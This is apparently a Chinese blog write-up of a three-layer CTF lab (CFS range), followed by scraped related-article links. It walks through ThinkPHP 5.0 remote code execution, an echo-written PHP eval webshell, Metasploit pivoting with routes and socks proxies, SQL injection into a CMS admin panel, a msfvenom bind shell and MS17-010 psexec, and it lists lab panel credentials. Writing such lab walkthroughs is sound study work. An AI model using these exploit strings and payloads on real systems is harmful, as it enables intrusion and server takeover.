CFS三层网络环境靶场实战
一、环境搭建:
①根据作者公开的靶机信息整理
共有三个targets,目标是拿下三台主机权限,且是三层的网络环境,内网网段有192.168.22.0/24和192.168.33.0/24,添加两张仅主机模式网卡,配置如下:

②虚拟机网卡设置
target1(centos) 双网卡模拟内外网:
外网:192.168.1.3,桥接模式
内网:192.168.22.128,仅主机模式

target2(ubuntu) 双网卡存在两个内网网段:
内网1:192.168.22.22,仅主机模式
内网2:192.168.33.22,仅主机模式

target3(win7) 单网卡仅内网:
内网:192.168.33.33,仅主机模式

开启web服务环境:
宝塔后台登陆地址及密码:
http://靶机外网ip:8888/a768f109/
账号:eaj3yhsl,密码:41bb8fee,根据实际靶机ip,配置即可,我的配置如下:

二、渗透实战:
0x01 target1:
①信息收集
nmap 192.168.1.3 -sV -T4

访问80端口,发现是thinkphp5.0

②tp5.0 rce Getshell
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

直接使用echo写websehll(注意:linux下使用\转义$,windows下用^转义):
http://192.168.1.3/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[cmd]);?>" >shell.php

③MSF上线
我这里使用web_delivery模块一句话上线,因为方便,我懒...

利用蚁剑执行即可上线:

④横向移动
查看ip信息,发现有两个网卡

添加路由、socks代理,进行横向移动

添加成功

开启socks5代理

⑤存活主机探测
发现一台ip为192168.22.22的主机,并且开启了80端口,应该是web服务

ok,target1就到此结束...
0x02 target2:
①信息收集
proxychains nmap 192.168.22.22 -sT -T4 -Pn

配置浏览器的socks5代理,访问80端口

是一个叫什么八哥CMS搭建的(没听过...)

②目录扫描
proxychains dirb http://192.168.22.22/

扫出一个robots.txt,发现有两个admin的目录
发现是一个后台登陆界面,爆破就先不打算(除非万不得已)

等待了一会dirb的扫描结果,也没其他重要的目录,就从页面源代码收集一下信息吧,竟然直接给出了注入点...

③注入-->后台登陆
既然给出了注入点,那就直接sqlmap一把梭
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch
但是sqlmap一直无法连接url,就像这样....具体啥原因还不清楚...

所以就换成了超级sql注入工具(可配置socks代理)

获取到admin表的账号密码,解密为:123qwe

然后成功登陆后台

④模板Getshell
巡视了一下后台的功能点,发现有熟悉的模板功能,发现可以直接修改文件

修改tag下的index.php文件,插入webshell

蚁剑添加socks代理后连接webshell

⑤MSF上线
生成一个bind正向连接的马
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=6666 -f elf -o test.elf
上传到目标服务器

给执行权限,并执行

MSF开启监听,即可收到会话
set payload linux/x86/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.22.22
run

查看网卡配置,发现又多了一个192.168.33.0/24的网段

⑥添加路由和socks代理

添加多一个socks代理,注意要换一个端口

⑦探测存活主机
发现一台192.168.33.33存活主机

0x03 target3
①信息探测
proxychains nmap -Pn -sT -T4 192.168.33.33

开放了445和3389,无疑是windows了
②漏洞利用
永恒之蓝肯定要试试的,毕竟emm....舒服嘛hahah,注意payload使用bind直连
使用ms17_010_eternalblue打失败了

尝试另一个利用模块psexec的,成功拿下target3

三、总结:
总体来说这个靶机还是学到了挺多的,完整地体现了,是如何一步步利用跳板代理横向到最深处网络...
①Thinkphp5.x Rce漏洞利用,echo写马地注意事项
②MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动
③八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell
④Ms17-010的psexec利用模块的使用
⑤典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络
CFS三层网络环境靶场实战的更多相关文章
- 《Python3 网络爬虫开发实战》开发环境配置过程中踩过的坑
<Python3 网络爬虫开发实战>学习资料:https://www.cnblogs.com/waiwai14/p/11698175.html 如何从墙内下载Android Studio: ...
- CTF大赛模拟-CFS三层内网漫游
CTF大赛模拟-CFS三层内网漫游 环境: 三台虚拟机,三个网络. target 1:192.168.161.178 ,192.168.52.132 (linux) target 2:192.168. ...
- Neutron 理解 (6): Neutron 是怎么实现虚拟三层网络的 [How Neutron implements virtual L3 network]
学习 Neutron 系列文章: (1)Neutron 所实现的虚拟化网络 (2)Neutron OpenvSwitch + VLAN 虚拟网络 (3)Neutron OpenvSwitch + GR ...
- 用openvswitch配置跨节点的docker网络环境
在一篇随笔中,我们已经尝试了在不依赖工具的情况下设置docker的ip,连我都想吐槽,MD单机都这么麻烦,在多机的环境中岂不是要了我的小命! 本文就是为了多机环境中各个节点的容器通信而做的,网络拓朴如 ...
- 崔庆才Python3网络爬虫开发实战电子版书籍分享
资料下载地址: 链接:https://pan.baidu.com/s/1WV-_XHZvYIedsC1GJ1hOtw 提取码:4o94 <崔庆才Python3网络爬虫开发实战>高清中文版P ...
- 网络知识--OSI七层网络与TCP/IP五层网络架构及二层/三层网络
作为一个合格的运维人员,一定要熟悉掌握OSI七层网络和TCP/IP五层网络结构知识. 废话不多说!下面就逐一展开对这两个网络架构知识的说明:一.OSI七层网络协议OSI是Open System Int ...
- 网络知识梳理--OSI七层网络与TCP/IP五层网络架构及二层/三层网络(转)
reference:https://www.cnblogs.com/kevingrace/p/5909719.html https://www.cnblogs.com/awkflf11/p/9190 ...
- openstack-- neutron 二/三层网络实现探究
引出 Neutron 是openstack 中提供网络虚拟化的组件,根据二层网络的实现方式不同(即agent的不同),可以分为Linux bridge的方式,Openvswitch的方式.而且,lay ...
- openstack neutron 二/三层网络实现
引用声明:https://zhangchenchen.github.io/2017/02/12/neutron-layer2-3-realization-discovry/ 一.概述 Neutron是 ...
随机推荐
- Qt版本中国象棋开发(四)
内容:走法产生 中国象棋基础搜索AI, 极大值,极小值剪枝搜索, 静态估值函数 理论基础: (一)人机博弈走法产生: 先遍历某一方的所有棋子,再遍历整个棋盘,得到每个棋子的所有走棋情况(效率不高,可以 ...
- [JavaWeb基础] 031.dom4j写入xml的方法
上一篇我们讲述了dom4j读取xml的4种方法,甚是精彩,那么怎么样写入xml呢?我们直接看下源码实现. public static void main(String[] args) throws E ...
- Java中的集合(七)双列集合顶层接口------Map接口架构
Java中的集合(七)双列集合顶层接口------Map接口 一.Map接口的简介 通过List接口,我们知道List接口下的集合是单列集合,数据存储是单列的结构.Map接口下是一个键值对(key-v ...
- 运用惰性删除和定时删除实现可过期的localStorage缓存
localStorage简介 使用localStorage可以在浏览器中存储键值对的数据.经常被和localStorage一并提及的是sessionStorage,它们都可以在当浏览器中存储键值对的数 ...
- Rocket - 断句 - Diplomacy and TileLink from the Rocket Chip
https://mp.weixin.qq.com/s/rfgptF9YxDpzDoespYtQvA 整理Diplomacy and TileLink from the Rocket Chip这篇文 ...
- Chisel3 - Chisel vs. Scala
https://mp.weixin.qq.com/s/mTmXXBzSizgiigFYVQXKpw 介绍Chisel与Scala的不同与关联. 一. 层次高低 Chisel是 ...
- Javascript中target事件属性,事件的目标节点的获取。
window.event.srcElement与window.event.target 都是指向触发事件的元素,它是什么就有什么样的属性 srcElement是事件初始化目标html元素对象引用,因为 ...
- 面试官:兄弟,说说Java的static关键字吧
读者乙在上一篇我去系列文章里留言说,"我盲猜下一篇标题是,'我去,你竟然不知道 static 关键字'".我只能说乙猜对了一半,像我这么有才华的博主,怎么可能被读者猜中了心思呢,必 ...
- ASP.NET防止自己网站的资源被盗(通过IHttpHandler 带样例说明)
我这里用的图片被盗举例子 一个正常的网页 <%@ Page Language="C#" AutoEventWireup="true" CodeBehind ...
- (Java实现) 子集和问题
回溯算法也叫试探法,它是一种系统地搜索问题的解的方法.回溯算法的基本思想是:从一条路往前走,能进则进,不能进则退回来,换一条路再试.用回溯算法解决问题的一般步骤为: 1.定义一个解空间,它包含问题的解 ...